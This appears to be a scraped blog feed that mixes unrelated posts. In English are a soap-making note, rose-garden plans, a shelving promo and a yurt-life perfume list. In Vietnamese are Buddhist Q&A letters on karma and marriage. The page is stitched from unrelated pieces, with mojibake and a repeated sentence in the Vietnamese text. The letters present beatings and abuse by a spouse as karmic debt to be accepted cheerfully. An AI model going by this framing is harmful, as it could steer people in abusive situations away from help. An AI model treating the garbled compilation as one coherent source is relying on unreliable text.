    I am now waiting at least for a dry weather to proceed with more experiments. In the meantime, I'm creating oil infusions of herbs that could be incorporated into the soap, from wild herbs that grow here - for example Varthemia and Sage. Having appropriate space makes all the difference - I have room for large- mouthed jars that can sit around for months if needed and still not take up much of my ongoing workspace. It is so refreshing to have a studio built especially for the purpose I need it for. I can't even begin to tell you how thrilled I am about that and all the possibilities of what I can do next.
              Duyên nhân quả vợ chồng        
    Hỏi: Kính thưa Thầy, vợ chồng lấy nhau, người ta bảo rằng, đều có số định cả, có nghĩa là người này phải lấy người mà có số định với mình, không được lấy người nào khác. Có phải vậy không thưa Thầy?

    Đáp: Không phải số định mà cũng không phải số mệnh mà là duyên nhân quả nợ vay trong thuận cảnh, cũng như trong nghịch cảnh.

    Ví dụ: Kiếp trước chúng ta đối xử với những người làm công cho mình quá khắc nghiệt, đánh đập, chửi mắng, trả tiền công ít, v.v..

    Kiếp này họ làm vợ hoặc chồng hoặc con cái trong nhà, họ phá tán của cải tài sản và còn chửi mắng đánh đập, khiến cho gia đình đau khổ bất an.

    Cho nên, kiếp trước gieo nhân nào thì kiếp này phải trả quả nấy. Tình nghĩa vợ chồng con cái đều do nhân quả, chứ không phải do số mệnh duyên nợ tiền định. Vì không có tiền định. Tiền định là cái vật gì? Ông gì? Ông Ngọc Hoàng Thượng Đế ư?

    Vì không hiểu môi trường sống nên người ta đặt ra những câu hỏi để có hỏi mà không có trả lời: “Con người từ đâu sanh ra? Chết đi về đâu?”.

    Do không hiểu, người ta dùng tưởng tri, tạo ra một Đấng Vạn Năng, một ông Ngọc Hoàng, một ông Trời, một ông Tạo Hóa sanh ra vạn vật trên hành tinh này. Lại có thuyết cho rằng từ trong Đại ngã vạn vật sanh ra và mỗi vật được sanh ra là tiểu ngã. Những thuyết này mơ hồ và trừu tượng không thể trả lời hai câu hỏi trên. Và vì vậy, hai câu hỏi trên vẫn còn đóng kín cửa.

    Duyên tiền định giữa đôi vợ chồng cũng là sự tưởng tri của con người đặt ra, chứ không có số định, số mệnh.

    Theo đạo Phật con người từ nhân quả sanh ra, chết trở về nhân quả, chứ không từ đâu đến và chết cũng không đi về đâu.

    Còn duyên vợ chồng, con cái đều là do vay nợ của nhân quả theo định luật của nhân quả “Vay thì phải trả”.

    Vậy, chồng vợ có số mệnh là không đúng, mà có nợ nhân quả ác hay thiện với nhau là đúng.

    Nhìn cuộc sống của họ chúng ta có thể biết chắc chồng nợ vợ hay vợ nợ chồng một cách cụ thể và rõ ràng.

    Vì thế, trong cuộc đời này vợ chồng thường làm khổ cho nhau nhiều hơn là đem lại hạnh phúc an vui cho nhau. Họ sống với nhau phần đông là chịu đựng.
    Hôn nhân không phải là số phận, mà hôn nhân là nghiệp báo nhân quả tiền kiếp. Hôn nhân không có hạnh phúc chân thật, chỉ là bóng dáng giống như trong giấc mơ.

    Cho nên hôn nhân toàn là mọi sự đau khổ, nó phát sinh từ lòng ham muốn của con người. Vì vậy hôn nhân chỉ là cái duyên để lòng dục của con người thực hiện. Người ta nói hạnh phúc là nói phương cách dùng để đi tìm đối tượng thỏa mãn lòng dục, khi chiếm hữu và thỏa mãn lòng dục thì cho đó là hạnh phúc, chứ có hạnh phúc gì đâu. Quí vị có thấy chăng? Lòng dục con người thực hiện qua muôn hình vạn trạng, bằng những danh từ rất hay: Trai gái chạy theo lòng ham muốn thì gọi là TÌNH YÊU. Tình yêu ấy được gắn bó với nhau thì gọi là CHUNG TÌNH, còn nếu không chung tình mà đi đến tình nhục dục mang bầu ngoài hôn nhân thì xấu hổ sinh ra tự tử hay nạo bỏ thai nhi. Đó là những hành động tội lỗi rất lớn. Từ tình yêu thương muốn thỏa mãn lòng nhục dục thì phải đi đến HÔN NHÂN. Hôn nhân được gắn bó với nhau không thay lòng đổi dạ thì gọi là lòng CHUNG THỦY, còn nếu không gắn bó với nhau thì gọi là NGOẠI TÌNH . Mà ngoại tình thì sinh ra ghen tuông chửi mắng, đánh đập nhau hay đi đến bạo lực gia đình, tạt axít hoặc đâm chém, giết nhau, v.v...

     Tình yêu và hôn nhân chỉ là những danh từ chỉ cho những ảo tưởng hạnh phúc, chứ không bao giờ có hạnh phúc chân thật trong hôn nhân.

     Dù trong tình yêu và hôn nhân có thuận duyên thì cÅ©ng đau khổ, còn nếu nghịch duyên thì đau khổ muôn trùng. Cho nên tình yêu và hôn nhân chỉ là một cuộc sống khổ đau của hai người, nó không có sá»± bình an, yên vui chân thật nhÆ° người ta mong đợi.

    Con người vì vô minh, như người mù có mắt mà không thấy, không hiểu biết lòng tham dục của con người quá to lớn. Do lòng tham dục quá to lớn nên con người dễ bị nhân quả nắm đầu sai khiến và điều khiển như một tên nô lệ. Vì thế nhân quả điều khiển dẫn dắt họ đi đâu là họ theo đó không dám cưỡng lại. Cho nên nó dẫn dắt vào con đường tình yêu thương trai gái một cách dễ dàng, do đó họ đã dính bẫy rập tái sinh luân hồi không thể thoát được. Cho nên loài người không ai mà tránh khỏi, họ cứ nghĩ rằng phía trước của tình yêu thương trai gái là hạnh phúc bình an, nhưng nào ngờ càng đi tới thì càng lún sâu vào tội ác và tràn đầy mọi sự khổ đau, cho đến nhắm mắt xuôi tay đi về lòng đất lạnh vẫn mơ tưởng đó là con đường hạnh phúc.

    Trên đời này chỉ có duy nhất có con đường ly dục, ly ác pháp là con đường không còn đau khổ nữa. Vì vậy người nào đã ly dục, ly ác pháp thì suốt ngày chỉ có một tâm hồn thanh thản, an lạc và vô sự, đó là một hạnh phúc chân thật của một người đã biết sống cho mình và cho mọi người.

    Vì khi còn sống tại tiền như mọi người, nhưng họ đang sống trong hạnh phúc an vui chân thật, và khi chết họ cũng sống trong hạnh phúc an vui đó. Chính vì đó là con đường độc nhất hạnh phúc an vui thực sự, ngoài ra không còn có con đường nào khác nữa.

    Như quý vị đã biết, con đường đó là con đường đạo đức nhân bản - nhân quả của Phật giáo, nó luôn luôn thực hiện nhân cách con người sống không làm khổ mình, khổ người, để được sống trong tình thương yêu và tha thứ mọi lỗi lầm của người khác, để đem lại sự bình an yên vui cho mình cho người. Đó là chân lý DIỆT ĐẾ của Phật giáo.để được sống trong tình thương yêu và tha thứ mọi lỗi lầm của người khác, để đem lại sự bình an yên vui cho mình cho người. Đó là chân lý DIỆT ĐẾ của Phật giáo.


    Kính gửi: Vợ chồng, con cái là nợ nhân quả nhau trong tiền kiếp, nên kiếp này phải gặp nhau để trả quả, để đòi nợ nhau. Cớ sao các con lại không thấy nhân quả mà cho đó là chồng, là vợ, là con của các con. Nếu là chồng, là vợ, là con của các con sao họ lại đối xử với các con quá tệ bạc, quá bạo lực: đánh các con, chửi mắng các con thậm tệ, v.v...

    Các con có thấy chăng, biết bao gia đình trong xã hội này, có gia đình nào không xung đột, không cãi cọ, không mắng chửi nhau? Họ còn dùng những lời lẽ thô tục, kém văn hóa mạt sát nhau như những người thù địch. Họ lại còn đánh đập nhau, gây thương tích, để lại một vết thương tinh thần khó quên. Trong khi đó họ là chồng, là vợ, là con, là những người thân thương cùng sống chung nhau trong một mái nhà, cùng nhau chia vui sẻ buồn khi trở trời trái tiết; cùng nhau chia cay xẻ đắng khi bệnh tật tai nạn; lúc nào đều cũng có bên nhau. Thế sao họ lại đối xử với nhau như vậy, thật là cay đắng trăm phần. Phải không hỡi các con?

    Chính vì các con đang mê mờ, mù ám không thấy biết nhân quả trong ba thời gian: quá khứ, vị lai và hiện tại. Do không thấy biết nhân quả nên không sợ nhân quả quá khứ, không sợ nhân quả hiện tại và không sợ nhân quả tương lai, nên tạo cảnh bất an cho mình, cho người và cho cả hai. Bởi vậy, kiếp trước vay như thế nào thì kiếp này phải trả như thế nấy. Không ai tránh khỏi quy luật nhân quả này.

    Đường đi của nhân quả thì có ba nơi trên thân người; nó luôn ở đó để thực hiện vay trả, trả vay từ kiếp này sang kiếp khác. Ba nơi này gồm có:

    1- Ý hành: là bộ tham mưu của nhân quả. Nó tính toán tư duy theo tưởng tri nên tạo ra muôn ngàn nhân, khi nhân đã tạo ra thì ngay đó liền có quả. Đó là nhân hiện tại, quả hiện tại. Nhưng cũng có khi nhân hiện tại mà quả tương lai. Thường con người sinh ra trên cuộc đời này đều do nhân quả quá khứ, đó là nhân quá khứ mà quả hiện tại. Vì nhân quá khứ, quả hiện tại nên mới thọ lấy thân người; thọ lấy thân người nên mới trả quả khổ đau vô cùng, vô tận. Nhưng con người đâu biết tất cả các pháp đều là nhân quả, nên cứ đam mê ham thích những cái gì trên đời này, cho nó là thật có, là ta, là của ta. Vì lầm chấp như vậy, nên con người đã tạo ra biết bao nhân mới để rồi phải gặt lấy biết bao quả khổ đau.

    2- Khẩu hành: là nơi xuất phát ra hành động ngôn ngữ do ý hành chỉ đạo để tạo ra nhân quả thiện hay ác. Người trên đời này khổ đau vì khẩu hành không sao kể hết. Nếu không mở miệng ra thì thôi, mà khi đã mở miệng ra là có việc, không việc này thì việc khác; việc vui cũng có, nhưng việc buồn không sao kể siết. Do nhân quả như vậy, chúng ta làm người phải cẩn thận khẩu hành, khi nói ra phải toàn lời nói thiện thì mới mong thoát khỏi mọi sự khổ đau trong cuộc đời này.

    3- Thân hành: là nơi xuất phát ra những hành động nhân quả tay, chân do ý hành chỉ huy để tạo ra nhân quả thiện, ác. Cho nên hãy cẩn thận, lúc nào cũng tĩnh giác, khi làm một điều gì thì nên tránh không làm khổ mình, khổ người và khổ cả hai. Người tu sĩ Phật giáo, những oai nghi chánh hạnh đi, đứng, nằm, ngồi phải nhẹ nhàng êm ái, không vội vàng, không hấp tấp, thường khoan thai, ôn tồn, êm dịu đối xử với mọi người, mọi vật như nhau.

    Do từ ba nơi này mà nhân quả theo đó điều khiển con người trả vay, vay trả mãi mãi từ đời này sang đời khác không bao giờ dứt. Cho nên, các con hãy cẩn thận lời nói, hãy cẩn thận hành động tay, chân. Khi nói ra coi chừng trả quả khổ đau; khi nói ra coi chừng nhân không lành. Về tay, chân cũng vậy. Vì thế, đức Phật dạy: “Chánh Ngữ và Chánh Nghiệp”.

    Khi trả quả, các con hãy vui vẻ chấp nhận nhân quả, thì có việc gì làm cho các con buồn lo được. Phải không hỡi các con?

    Các con có biết không, họ là chồng, là vợ, là con của biết bao nhiêu người khác, chứ đâu phải của riêng các con mà các con ghen tuông nói thế này, nói thế khác; các con lại còn muốn chiếm hữu. Làm sao chiếm hữu được, khi các con đang sống trong quy luật của nhân quả. Có vay phải có trả; vay đâu thì trả đó. Cho nên, mọi sự việc trên đời này xảy ra đều theo nghiệp nhân quả, thế sao các con không hiểu, mà khư khư chấp có, chấp không để rồi lại buồn rầu than khóc khổ đau. Cái gì làm cho các con đau khổ? Chính các con không hiểu nhân quả nên cuộc đời các con mới khổ đau không bao giờ dứt.

    Hãy cứu mình ra khỏi biển khổ; không ai cứu các con bằng chính các con, như đức Phật đã dạy: “Các con hãy tự thắp đuốc lên mà đi”. Đời toàn là nhân quả khổ đau; có vật gì trên đời này đáng cho các con tiếc rẻ. Phải không hỡi các con?

    Tất cả các pháp trên đời này đều vô thường; có pháp nào vĩnh viễn thường hằng đâu. Có pháp nào là của các con; có pháp nào là bản ngã của các con đâu. Rồi đây, ngày mai các con chết thì chồng hay vợ và các con của các con có còn là chồng, là vợ, là con của các con nữa đâu. Các con chết đi có mang theo họ được không? Hay chỉ chết một mình... Ôi! Thật là đau thương!

    Nhân quả! Nhân quả! Sao người công bằng đến đỗi không còn ai tránh né trốn chạy người được. Tạo nhân nào thì phải gặt quả nấy; các con hãy cẩn thận, trước khi nói hay làm phải suy nghĩ cho thật kỹ rồi mới nói, mới làm, đừng vội vàng nói ra hay làm hấp tấp rồi sẽ gặt lấy quả mình khổ, người khác khổ hoặc cả hai cùng khổ. Đó là hành động nhân quả ác thiếu suy nghĩ chín chắn, thiếu cảnh giác và cẩn thận trong lời nói hay trong hành động làm. Nếu các con bình tĩnh, cẩn thận, dè dặt suy tư chín chắn trước khi nói hay trước khi làm, thì sẽ mang lại sự an vui cho mình, cho người hoặc cho cả hai, thì đó là các con thực hiện nhân quả thiện mà tránh được nhân quả ác.

    Chỉ vì con người không sợ nhân quả nên nói và làm không cân nhắc kỹ lưỡng, vì thế nên luôn luôn làm khổ mình, khổ người và khổ cả hai thật đáng trách.

    Cuối cùng, chúc các con vượt qua nghiệp lực và làm chủ nhân quả, đừng để nhân quả làm chủ các con.

    Kính thư

    Thầy của các con

    Trưởng lão Thích Thông Lạc
    Và đây là bộ sách của Thầy Thích Thông Lạc mà tác giả Blog đã sÆ°u tập (tạm thời), bạn có thể tải về: Click tại đây

              My Rose Garden         
    The Bench

    There is still no rose in site, but this is my soon-to-be rose garden.
    It has a bench, so what else does it need (well, a few roses wouldn't hurt).
    But firs I must do some research and find the exact roses I wish to plant here. First and foremost I am on the hunt for those used extensively in perfumery: Rosa damascena and Rosa centifolia. Then I must find some hardy hybrid tea roses and old English roses that would withstand the hot and dry climate here. And they must smell amazing and also have impressive looks. I would rather wait till I find the right ones rather than plant the wrong ones and waste precious plot space...

    The area for the rose garden used to be an enclosed area where some of my tenants (without any permission) built for a little herd of goats. It looked like a disaster when they lived here, and it was hard to kick them out. The tenants that followed were super nice, stayed for many years, and took advange of the freshly fertilized soil to make a little vegetable garden. It only has  two small plots, and is sitting too far behind the house to be practical for a vegetable garden, in my humble opinion. So I planted a vegetable garden right next to my house (on the sunny east side next to the Pilates studio). And these two plots I'm planning to fill with at least six rose bushes. Then I will also add a bird bath or a sundial (or both), and climber roses in all corners. It makes the perfect, hidden, romantic spot to sit on; but also my preferred spot for  for sitting and meditating, burning incense, and enjoying a few hours of shade in the hot summer mornings, and quiet reflection in the evening. Maybe even a moon garden if I find the right mix of plants that won't overshadow the rosiness during the day.
              Wanda shelving for kids by Cantilever        
    A few years ago I made a study space for my daughter using a pegboard from Bunnings with painted IKEA spice racks that has been my most popular post on Bondville - ever. If you love that look but would like something much more sophisticated and design-led, check out the Wanda shelving system by Cantilever in Melbourne.

    Read more »
              Yurt Life         
    We are moving into my mom's charming little yurt today!

    While waiting for our permanent home to be renovated (which, as it turns out, takes even longer than building a new home) - we've been living semi-nomadic life for close to four months now, about three of them in a yurt.

    Life in the yurt is different. There is no way around it (pun intended). For one thing, it provides a round space, that encompasses most of life's functions in one area: cooking, eating, reading, puzzling, snuggling, cat-feeding (an extra duty we've picked up on the way to freedom - not unlike an unwanted pregnancy that you just can't get herself to terminate), office work (whenever my MacBook Air has enough power to work for me - not to mention its battered battery now needs replacement, which turns out to be a HUGE ordeal in the land of milk and honey), Pilates practice, and even occasional entertaining (when it rains even my dear family avoids it like the plague). It's not truly all in one space, because it actually has an annex to the north, with the washroom (including a shower and a compost toilet - a killer combination for dirt and cleanliness), as well as a sleeping den which has beautiful greenery all around it, as it is built from old wooden windows.

    That beauty comes with the price of this space being as cold as the outdoors in the winter. In the summer this room is actually a lifesaver, because the yurt collects way too much heat, although it is much better insulated than the sleeping den - even when its skylight is open. We don't have an oven, but were able to pull together delicious and nourishing meals from the two-flamed gas stove, and have even prepared some raw treats for our daily tea parties. To be perfectly frank - mostly, we've been lazy and buying baklava and cookies whenever we are in the vicinity of a bakery - so I am now in the know of where to get good baked goods. I'm sure this knowledge will come in handy in the not so far future, even after we're back to our productive baking life. When it comes to baking, it's always good to have a good back-up plan.

    Of course, that did not stop us from being experimental in the kitchen, trying new ingredients such as nigella seed spread and authentic freekeh, which is an amazing way of preparing green wheatberries by burning them off the wheat chaff. The result is a smoky, nutty grain that is delicious and easy to cook (and digest) and really gives unmistakable character to dishes (the one I bought in Canada was actually stale wheat dyed green). More on that in another post!

    To sum it up - living in a yurt is "an experience". Just like camping is an experience. In camping terms this is a five star facility. I'm sure with its running water and gas-operated refrigerator it is also considered a luxury in comparison to straw huts in Africa or yurts in the Mongolian steppes. You get the picture. It's an experience. And we're three months into it and can't wait to experience something else.

    To lift the edge off the nervous anticipation for proper housing, I've decided to compile a little list of fragrances (both mundane and wearable) that will let you into this experience, even if just a little... This compilation is a random array of fragrance fit for yurt life, even though I imagine most people who choose to live in this humble abode would rather dab some animal fat and cooked cabbage juice behind their ear than any designer's fragrance. Nevertheless, I find the task amusing, and I hope it will make for a fun read.

    We are moving into my mom's charming little yurt today! Here is a view of the inside.

    I also hope that my mom does not get hurt because apparently in our parts of the world, patience ("Savlanut") is considered a virtue (which very few uphold), and also belongs grammatical to the same root as the word suffering ("Sevel"). And in this part of the world, stating the facts is considered complaining... I'm sure those who choose to live in a yurt or even just stay in it for a short amount of time will thoroughly enjoy it - it is cute, rustic, pretty, calm and completely in tune with nature. You get to experience all the elements - fire (sun), air (wind), water (we have running water, and thankfully also very little of water leakage despite its very temporary feel); and last but not least - you can't get any closer to earth than this. It is a very, very earthy dwelling and you really feel Mother earth's belly as you tickle it with your slippers walking to and fro. Last but not least: nothing compares to coming out of the yurt at night and seeing the clear black skies dotted with bright stars.

    Muscs Kublai Khan - for the obvious body odour effect - musk-enhanced unwashed hair and sweaty armpits with hints of rose and aldehydes.

    Kiehl's Fig Leaf & Sage - milky herbacous weirdness. It's unusual yet very easy to wear and has a freshness without being boring. It also goes well with the cucumber and parsley scented products we currently have in the house - hand wash, shampoo and conditioner. Something green and clear-smelling yet non pretentious.

    Aromatics Elixir - an earthy, big sage scent that is sophisticated yet at the same time rustic enough to wear in the wilderness. Especially grateful for it on cold wintry days.

    Arabie - the spice market, sweat and dusty cobblestones - and all the spices I have in storage (and don't have in my kitchen) kvetched into one bottle. Awesome.

    Coco Noir - the opposite of yurt life: polished, elegant, artificial and urban. Jasmine, berries and plums, rose, patchouli, musk and vetiver with a a dusting of cocoa.

    Poivre Samarkand - because I heard that there are also yurts in Samarkand (Uzbekistan). Can't find any perfume inspired by Mongolia (which is where the yurts supposedly originate). Besides, it's a perfect sprinkle of heat on those chilly nights when the shower runs only boiling water or ice cold ones, and when you step out of the shower it's the same temperatures as outside (not as extreme as in Canada, but 5-11c is cold enough to feel like real winter).

    Musc Nomade (Annick Goutal) - I'm picking this one because of the name alone. I remember smelling it very vaguely and that is was vegetal and delicate... Admittedly I'm also too lazy to go digging in my shipping container now and find the little box where I "filed" all my music samples but I'm pretty sure I've only tried it once when I was in Paris.

    Tam Dao - if you've ever encountered compost toilet, you know that it's the human equivalent of hamster cage. pine or cedar shavings are used to cover up the mess, and the result is a more subdued version of human waste, that eventually turns into a nice scent of the forest floor. Anyway, this explanation made me think of Tam Dao, which is a fine sandalwood and cedar fragrance and also has some clean smelling musks underneath, to make you forget all the other business.

    Tea for Two - We've been enjoying my limited selection of teas that I make a point of finishing off. True to form, we've been brewing lots of chai, which I've been already giving you plenty of recipes for... And of course Hulnejan - the wonderful root brew of galangal, dried ginger and cassia bark.
    Zangvil also reminds me of this "witch brew" with its notes of fresh and dried ginger, honey, amber, jasmine and ginger lily.

    Finjan - we've been drinking lots of espresso on the stove top mocha machine, and lots of Arabic/Druze/Turkish coffee (each nationality claims it as their own - but essentially this is very dark roasted coffee with cardamom that is brewed on the stove). The latter is well represented in the perfuem I created titled Finjan (the name of the little porcelain "shot" cups that you sip the coffee from; mistakenly, most Israelis refer to the little pot used to brew it as "finjan" - but its real name is "Ralai").

    Mastic - Whenever it rains or gets really chilly, the mastica bushes and wild ivy behind the yurt release their fresh, green-balsamic scent. Grin's smell encompasses this verdant freshness with its notes of galbanum, violet, oakmoss and a classic floral bouquet.

    Geranium and Wild Oranges - My citrus orchard was overcome by wild orange shoots, and I've really let it go. We finally pruned the orchard this fall, which mean an overwhelming amount of wild oranges that had to be put into use somehow. The result? An orange cello with a touch of herbs from the yurt's garden, among them rose geranium. One sip of this liquor is enough to uplift the spirits.

              Nhân quả        
    Hỏi: Kính thưa Thầy! Con có một số điều trăn trở, mong Thầy tháo gỡ giải tỏa cho con.

    Đạo Phật dựa trên cơ sở nhân quả và luân hồi. Mặc dù con đã đọc các cuốn sách của Thầy viết, như cái niềm tin trong con nó chưa được lớn, vì vậy sự buông xả còn kém cỏi, sự tu tập còn lười biếng. Con từ nhỏ tới nay, vẫn cứ cho rằng: “Con người chỉ sống có một lần, sau khi chết tất cả đều tan hoại”, đó là vì con đã tiếp thu những tư tưởng duy vật biện chứng. Con đã đọc: “Kinh Nhân Quả Ba Đời” nhưng con vẫn thấy nó mơ hồ trừu tượng nên con không tin.

    Đáp: Kinh sách Nhân Quả Ba Đời là kinh sách hệ phái phát triển, kinh sách này luận về nhân quả thiếu tính khoa học nên lý luận mơ hồ, không thực tế, có vẻ hoang đường, làm mất tính chất đạo đức nhân bản - nhân quả của luật nhân quả. Người có sự hiểu biết về khoa học và chuộng sự thật thì không thể nào tin nhân quả theo kiểu lý luận mơ hồ, trừu tượng, đầy sự hoang đường mê tín lạc hậu này được. Đọc kinh sách phát triển phần nhiều là những lý luận mơ hồ trừu tượng mê tín đẫy đầy không có cuốn kinh nào mà không có. Cho nên, kinh sách phát triển làm mất lòng tin của mọi người với Phật giáo. Con cũng bị ảnh hưởng đó, chính vì con đã học về triết học duy vật biện chứng, nên con không thể tin những điều mơ hồ trừu tượng được, Phải không con?

    Muốn biết rõ nhân quả như thật thì chúng ta phải tự hỏi: “Khi người chết cái gì còn lại?”.

    Đức Phật đã xác định điều này rất rõ ràng: “Khi người chết toàn bộ thân ngũ uẩn đều tan rã không còn một vật gì tồn tại”. Vậy, không còn một vật gì tồn tại, sao đạo Phật còn chủ trương thuyết tái sanh luân hồi và như vậy có mâu thuẫn nhau không?

    Thưa các bạn! Đạo Phật không mâu thuẫn. Khi con người còn sống hằng ngày luôn luôn hoạt động theo tâm tham, sân, si của mình, do mỗi hành động thân, miệng, ý phóng xuất ra những từ trường thiện hay ác (từ trường là một danh từ vật lý tạm dùng để mọi người dễ hiểu, chứ nghĩa của danh từ “từ trường” chưa đúng hẳn) khắp nơi trong bầu khí quyển. Theo luật nhân quả thì từ trường ấy được gọi là nghiệp. Cho nên, con người chết là mất hết chỉ còn nghiệp (từ trường) thiện ác, nghiệp thiện ác không phải là linh hồn, thần thức hay Phật tánh.

    Hầu hết mọi người, có tôn giáo hay không tôn giáo, luôn cả các nhà Đại Thừa hiện đang có mặt trên hành tinh này, đều không hiểu lý duyên hợp duyên sinh, do đó tưởng khi người chết còn có linh hồn, thần thức, Phật tánh, tiểu ngã, bản thể v.v.. là một vật thường hằng mang theo nghiệp đi tái sanh luân hồi, điều hiểu biết này là ảo tưởng, mê tín, không đúng sự thật, không có tính khoa học, là sai. Sự hiểu biết này, đức Phật gọi “Chấp thường”. Còn có một số người dựa vào duy vật biện chứng, cho con người mất là mất cả, chỉ có một đời này mà thôi. Sự hiểu biết như vậy, đức Phật gọi là “chấp đoạn”.

    Những triết thuyết chấp thường, chấp đoạn là những triết thuyết còn mơ hồ chưa hiểu biết rõ về môi trường sống trên hành tinh này. Môi trường sống trên hành tinh này có nhiều chất liệu, có chất liệu có hình sắc, có chất liệu không hình sắc mà đức Phật gọi chung là “các duyên”. Cho nên, giáo lý nhà Phật gọi môi trường sống trên hành tinh này là “thế giới duyên hợp”. Có duyên hợp mới sinh ra muôn loài, muôn vật, có duyên hợp mới tạo thành thế giới, không duyên hợp thì không có thế giới. Do thuyết nhân duyên mà đạo Phật đã xác định được con người từ đâu sinh ra và chết đi về đâu rất khoa học mà không có một khoa học hay một triết học nào bắt bẻ được, vì đó là một sự thật, một sự thật do sự tu chứng đã thấy rõ như thấy những chỉ trong lòng bàn tay.

    Đạo Phật chấp nhận thuyết tái sanh luân hồi, vì khi con người chết thì mất hết nhưng những nghiệp (từ trường) này không mất, do nghiệp này không mất nên tương ưng với tâm tham, sân, si của người khác hợp đủ duyên tạo thành thai nhi. Cho nên, đạo Phật gọi là “nghiệp tái sanh luân hồi”, chứ không gọi “nghiệp đi tái sanh luân hồi”. Kinh sách Đại Thừa gọi nghiệp đi tái sanh luân hồi là sai, vì nghiệp là từ trường nên bất cứ nơi đâu trong bầu khí quyển đều có nó, do đó từ trường không đến không đi, chỉ có hợp đúng thời, đúng duyên là tái sinh luân hồi tức khắc.

    Kính gửi: Cháu Trang

    Vạn vật được sinh ra đều phải theo qui luật của nhân quả, không có một vật nào ra khỏi qui luật này. Cho nên có những người hung ác thì cũng phải có những người hiền lành; có những người giàu sang thì cũng phải có những người nghèo hèn; có những người sung sướng thì cũng phải có những người khổ đau; có những người tốt thì cũng phải có những người xấu; có những người quyền cao chức trọng thì cũng phải có những người cùng đinh mạt hạng; có những người chung thủy không lỗi đạo, thì cũng phải có những người không chung thủy lỗi đạo v.v…

    Trên đời này mọi sự xảy ra đều do nhân quả sắp xếp. Nhân quả sắp xếp là do tiền kiếp không khéo gieo duyên thiện nên đời này phải trả quả khổ. Nếu trả vay không khéo thì lại vay trả mãi mà không hết. Hoàn cảnh của con xảy ra cũng vậy. Con có biết không?

    Cuộc đời quá éo le, tưởng đâu có chồng con để hôm sớm cùng nhau, khi tối lửa lúc tắt đèn, để chia vui sẻ buồn, để an ủi cho nhau khi khổ đau, khi tai nạn và chăm sóc nhau khi đau ốm, bệnh tật v.v..

    Nhưng nào ngờ nhân quả quá khắc nghiệt con gặp phải nhân quả không tốt, nên đành phải chịu những nỗi khổ đau riêng mình, phải nuôi và dạy con, phải lo gia đình trước sau một thân mình, phải gánh chịu sự cô đơn, chỉ có một mình quạnh hiu, biết tâm sự cùng ai, biết ai hiểu mình mà tâm sự. Phải không con?

    Người xưa bảo: “Làm thân con gái có 12 bến nước, gặp bến trong thì nhờ, gặp bến đục thì chịu”, biết than thở cùng ai!

    Đời con là một bến đục, có chồng mà cũng như không. Chồng lo cho chồng, chẳng nghĩ gì đến vợ, chẳng đái hoài gì đến các con, chỉ lo cho bản thân mình, lo cho người khác, để lại một gánh nặng nuôi dạy hai trẻ thơ, khi bệnh tật, khi tai nạn, lúc tối lửa khi tắt đèn, chỉ có một mình thật là khổ đau vô cùng, vô tận. Trước sau chỉ một mình lo toan biết nói gì đây, nói với ai bây giờ? Nghẹn ngào nước mắt cứ tuôn tràn như dòng suối đời khổ đau chạy mãi về phương trời vô tận. Nếu không có hai trẻ thơ này là nguồn an ủi thì phỏng chừng con có sống được hay không? Đêm nằm nghĩ tới nghĩ lui; đời người sống thật vô vị chẳng có gì là nghĩa, là tình, là hạnh phúc cả?

    Sống mà như chết. Sao con người ở đời bạc bẽo và độc ác đến thế! Bạc bẽo và độc ác hơn lòai thú vật. Loài chim quốc khi chim đực mất chim cái kêu suốt thâu đêm tiếng kêu thương não nùng ai oán, chim cái không còn thiết tha ăn uống nữa, lần hồi chim cái chết theo chồng; chim đực cũng vậy khi chim cái bị lưới rập, bị bắn chết, chim đực cũng kêu suốt ngày đêm tiếng kêu thương từ trái tim chung thủy vang lên không gian một tình thương bất diệt, cho đến khi sức tàn, lực kiệt chim đực cũng chết theo chim cái. Ôi! Thật là lòai chim sống mà chung tình đến thế! Xét lại con người thì sao? Con người sao mà manh tâm giả dối lường gạt vợ con, lan chạ kẻ khác mà không biết xấu, mặt chai mày đá, nay người này, mai người khác như như loài gia súc v.v…

    Biết bao cảnh đời ngang trái, biết bao nhiêu thương đau, làm sao kể cho xiết. Ai làm ra? Lòng tham dục đấy con ạ!

    Ở đời ai là người hiểu đạo đức? Ai là người thấy trách nhiệm và bổn phận làm người sống không không làm khổ mình, khổ người? Ai là người biết hy sinh cá nhân mình để làm tròn bổn phận làm cha, làm mẹ. Tội nghiệp thay cho những đức trẻ mồ côi cha hoặc mồ côi mẹ hoặc mồ côi cả hai. Nhất là chúng ta cũng không thể cầm được những giọt nước mắt thương đau cho những đức trẻ vẫn còn cha lẫn mẹ, nhưng vì ích kỷ cá nhân, cha và mẹ chúng đắm đuối đam mê danh, lợi và sắc dục, đành ly dị bỏ vợ, bỏ chồng, bỏ con chạy theo nhân tình thế thái. Mặc cho những đứa trẻ thơ vô tội sống ra sao cũng mặc, họ vẫn thản nhiên như những người xa lạ, họ xa lìa nhau, đành đoạn bỏ mặc những đứa bé bơ vơ, thiếu tình cha chăm sóc, thiếu lòng mẹ thương âu yếm. Vậy tình thương chăm sóc của cha bây giờ ở đâu? Lòng thương âu yếm của mẹ ở chỗ nào? Những đức trẻ thơ đang chờ đợi, đang mong ngóng từng ngày!!! Nhưng vô cùng tuyệt vọng. Cha như cánh chim trời lộng gió, mẹ thì thui thủi một mình bên các con. Ai là người sinh ra chúng? Ai là người mang nặng đẻ đau? Ai là người nuôi nấng chúng lớn khôn nên người v.v… Tương lai của chúng ra sao? Mờ mịt đen tối. Tội nghiệp thay biết nói gì đây!

    Nhìn những cháu bé, con của những người khác đang cấp sách đến trường đang tốt nghiệp Đại học, còn con mình hiện giờ thì ra sao? Mình có gánh vác nổi hay không, hay để chúng thất học như những đứa trẻ khác. Ôi! Càng nghĩ, ruột đau như ai cắt từng đọan. Thương thân phận bạc phần vô phước. Sống mà tương lai một mầu đen tối, không có chút hy vọng nào mà hòan cảnh xảy ra còn khổ đau nhiều hơn, nhiều hơn nữa.

    “Trách ai bẻ gánh cang thường,
    Để cho phận thiếp giữa đường bơ vơ”

    Đừng buồn nữa con ạ! Hãy vui lên để mà sống, sống xem cuộc đời tràn đầy ác pháp, sống để chuyển biến nhân quả, đừng để nhân quả chuyển biến tâm con, Phải không con?

    Hãy can đảm, đầy đủ nghị lực, đứng lên bằng hai chân của mình, chiến đấu tận cùng với bao nhiêu nghịch cảnh, đừng sợ hãi con ạ! Bên con còn có những người cảm thông những nỗi khổ u hoài trong con, sẵn sàng an ủi, khích lệ giúp con dũng cảm tiến lên, vượt thoát đường đời đầy chông gai cay đắng.

